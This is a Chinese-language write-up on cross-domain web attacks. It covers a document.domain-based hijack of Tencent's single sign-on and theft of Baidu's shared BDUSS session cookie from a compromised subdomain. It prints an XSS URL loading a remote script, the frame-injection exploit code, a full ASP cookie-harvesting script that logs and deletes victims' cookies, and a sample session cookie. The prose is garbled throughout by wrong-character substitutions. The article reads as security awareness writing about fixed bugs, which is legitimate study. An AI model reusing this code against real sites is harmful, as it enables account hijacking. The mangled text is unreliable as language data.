淺談跨域WEB攻擊

0×00 前言

一直想說說跨域web攻擊這一律念，先前積累了一些案例和經驗，因此想寫這麼一篇文檔讓你們瞭解一下跨域web攻擊，跨域web攻擊指的是利用網站跨域安全設置缺陷進行的web攻擊，有別於傳統的攻擊，跨域web攻擊能夠從網站某個不重要的業務直接攻擊和影響核心業務。

傳統的安全思惟教會咱們按資產、功能等需求劃分核心業務，優先保護核心業務等，非核心業務的安全等級通常沒有核心業務高，給咱們錯覺是非核心業務受到攻擊的話，所形成損失不會很大，也不會影響到核心業務，因此讓安全工做者瞭解跨域web攻擊這一律念仍是很是有意義的。

0×01 基於ajax跨域設置的跨域攻擊

使用ajax技術讓人頭痛的地方就是如何跨域，受同源策略所限不一樣域名包括子域名在內是沒法進行AJAX請求的，隨後衍生出一類技術能夠經過設置document.domain實現跨域。如a.test.com和b.test.com,當兩個網站經過javascript操做DOM接口 document.domain=’test.com’ 將網站的域設置爲test.com後，兩個網站就處於同一個域內，能夠進行各類跨域操做。在開發人員方面這是很方便的跨域技術，可是在攻擊者眼中這簡直就是一個大後門，黑客只須要找到*.test.com下任意一個XSS漏洞，在任意一個子域名裏的網頁均可以跨域攻擊a.test.com和b.test.com。

ajax跨域設置另一個重點是這種跨域設置還會影響到窗口引用關係的同源策略，如騰訊微博網站進行了document.domain=’qq.com’的跨域設置，咱們能夠針對騰訊微博作個實驗，在本身的騰訊微博http://t.qq.com/中發任意一個*.qq.com的網站的連接(如：http://www.qq.com），在騰訊微博中打開這個網站，而後在地址欄內用javascrit僞協議運行以下的腳本，你會發現騰訊微博所在的網頁被注入了一個alert提示框：

javascript:window.opener.eval('alert(/xss/)');

最後得出結論，因爲騰訊微博網站進行了跨域設置，因此*.qq.com下的任意一個和騰訊微博有窗口引用關係的網頁，均可以往騰訊微博跨域注入腳本運行。

案例：騰訊單點登陸系統跨域劫持漏洞

QQ的客戶端安裝了一個快速登陸插件，在客戶端已登陸且QQ.exe在運行的狀態下,這個快速登陸插件能夠自動生成一個和QQ號對應的密鑰，在IE瀏覽器訪問QQ網站的各個應用時經過這個密鑰能夠免密碼一鍵登陸網站。我通過分析發現，這個快速登陸插件最大的安全措施是生成密鑰的關鍵函數設置了一個信任域xui.ptlogin2.qq.com，也就是在xui.ptlogin2.qq.com的網頁中咱們纔可使用這個插件生成密鑰。快速登陸插件的這個信任域安全措施本意是阻止其餘非安全域的網頁調用這個插件，而開發人員卻在xui.ptlogin2.qq.com的一個網頁寫入了document.domain=’qq.com’的跨域設置，結果致使這個信任域形同虛設。經過QQ任意分站的一個XSS漏洞咱們就能攻擊xui.ptlogin2.qq.com，首先給分站的網頁進行跨域設置，而後經過框架頁嵌入xui.ptlogin2.qq.com的跨域設置頁，因爲兩個網頁都設置了同一個域，同源策略生效，那麼就能夠跨域操做框架注入腳本到xui.ptlogin2.qq.com的域內運行。部分攻擊代碼以下：

http://product.tech.qq.com/simp_search.php?keyword="></script><script/src=http://127.0.0.1/xss.js></script>

xss.js的內容：

window.name ='......' // xui.ptlogin2.qq.com域內運行的攻擊腳本省略
document.domain='qq.com'; //跨域設置
function exploit(){crossQQdomain.location = "javascript:eval(window.parent.name);void(0)";} //在id爲crossQQdomain的框架中經過僞協議注入腳本
document.write("<iframe id='crossQQdomain' src='http://xui.ptlogin2.qq.com/*.html' onload=exploit()></iframe>");

經過window.name內設置的是調用快速登陸插件攻擊腳本代碼，被攻擊者訪問了咱們的跨站連接後，咱們就能夠獲取到QQ的一鍵登陸密鑰，後果不可想象。

0×02 基於cookie安全的跨域攻擊

之前關於csrf的文檔提過cookie的「同源策略」，實際上這個只是含糊的說明了cookie的domain字段的做用。cookie的domain字段和瀏覽器約定俗成，如通常cookie的domain字段被默認設置爲www.test.com, 二級域名*.test.com下就沒法訪問這個cookie，因此不少網站就將cookie的domain字段設置爲.test.com解決二級域名的cookie讀取問題。

案例：第三方分站淪陷致使的百度cookie安全問題

在百度的passport登陸之後，百度會給客戶端設置一個名爲BDUSS的cookie值，這個值的domain字段是.baidu.com，以下：

set-cookie: BDUSS=EVaS0YtVW91NUFnNktNNDhCeUxZelByZ2t6VnNqc2VKNDhqanhXV0Q1a1p4TVJOQVFBQUFBJCQAAAAAAAAAAApBESM9lhgAcmF5c3R5bGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADgekV4AAAAAOB6RXgAAAAAcF1CAAAAAAAxMC42NS4yNBk3nU0ZN51gh; expires=Tue, 01 Jan 2030 00:00:00 GMT; path=/; domain=.baidu.com

這個cookie是百度衆多的二級域名共享的身份認證cookie，在某個巧合下我發現了百度第三方網站http://zhishang.baidu.com的漏洞，控制了zhishang.baidu.com的主機，這個網站的域名恰好屬於百度的子域名,那麼服務端是能夠收到BDUSS這個關鍵cookie的，因爲主機是IIS，因而寫了個簡單的收集HTTP請求頭中cookie值的asp腳本，部分攻擊代碼以下：

<%
Dim sp,i,rf
sp = split(request.ServerVariables("HTTP_COOKIE"),"; ",-1,1) #經過服務器變量獲取HTTP請求頭中的COOKIE值
rf = Request.ServerVariables("HTTP_REFERER")
For i=0 to UBound(sp)
if instr(sp(i),"BDUSS")>0 then
txtfile=server.mappath("log.txt")
set fso = CreateObject("Scripting.FileSystemObject")
set MyFile = fso.opentextfile(txtfile,8,True,0)
MyFile.Writeline(date()&" "&time()& " "& rf)
MyFile.Writeline(sp(i)& Chr(13))
MyFile.Close
set fso = nothing
Response.cookies("BDUSS")="delete"
Response.cookies("BDUSS").Path="/"
Response.cookies("BDUSS").Expires=(now()-1)
Response.cookies("BDUSS").Domain = ".baidu.com"
end if
next
response.redirect "http://static.tieba.baidu.com/tb/editor/images/tsj/t_0028.gif" # 302轉跳到真實的圖片
%>

將http://zhishang.baidu.com/c.asp#.gif（#是url註釋）這樣的連接當成圖片發佈在百度貼吧、百度HI等的帖子或日誌中，被攻擊者若是訪問了嵌入了相似圖片連接的網頁，瀏覽器將會向zhishang.baidu.com的腳本發起一個GET請求，這個請求會帶上BDUSS值的cookie，服務端的腳本獲取這個cookie後，攻擊者就能夠在另外一方利用這個cookie僞造被攻擊者的身份使用百度相關的服務。

0×03 跨域web攻擊的思考

跨域web攻擊還有不少種，本文只提到了危害比較大的兩種，案例中所提到的漏洞也已經修復。本文沒有再提到這類攻擊的防護措施，由於這類web攻擊已經有別於傳統的單點攻擊，實際上國內外各大網站和web程序都存在相似的安全問題，這類安全問題不是一個單獨的個例，而是從網站架構開始就須要考慮的安全問題。

本文的目的並非交你們如何利用跨域web攻擊，而是但願你們經過這類安全問題思考更多，讓你們意識到現實的網絡並無絕對的安全，咱們面臨的web安全問題依然嚴峻，應用和安全是一個對立面，咱們須要在應用和安全中間找到一個平衡點。

0×04 參考

騰訊單點登陸系統跨域劫持漏洞 http://www.wooyun.org/bugs/wooyun-2010-0118百度認證機制問題分析與利用 http://www.wooyun.org/bugs/wooyun-2010-0253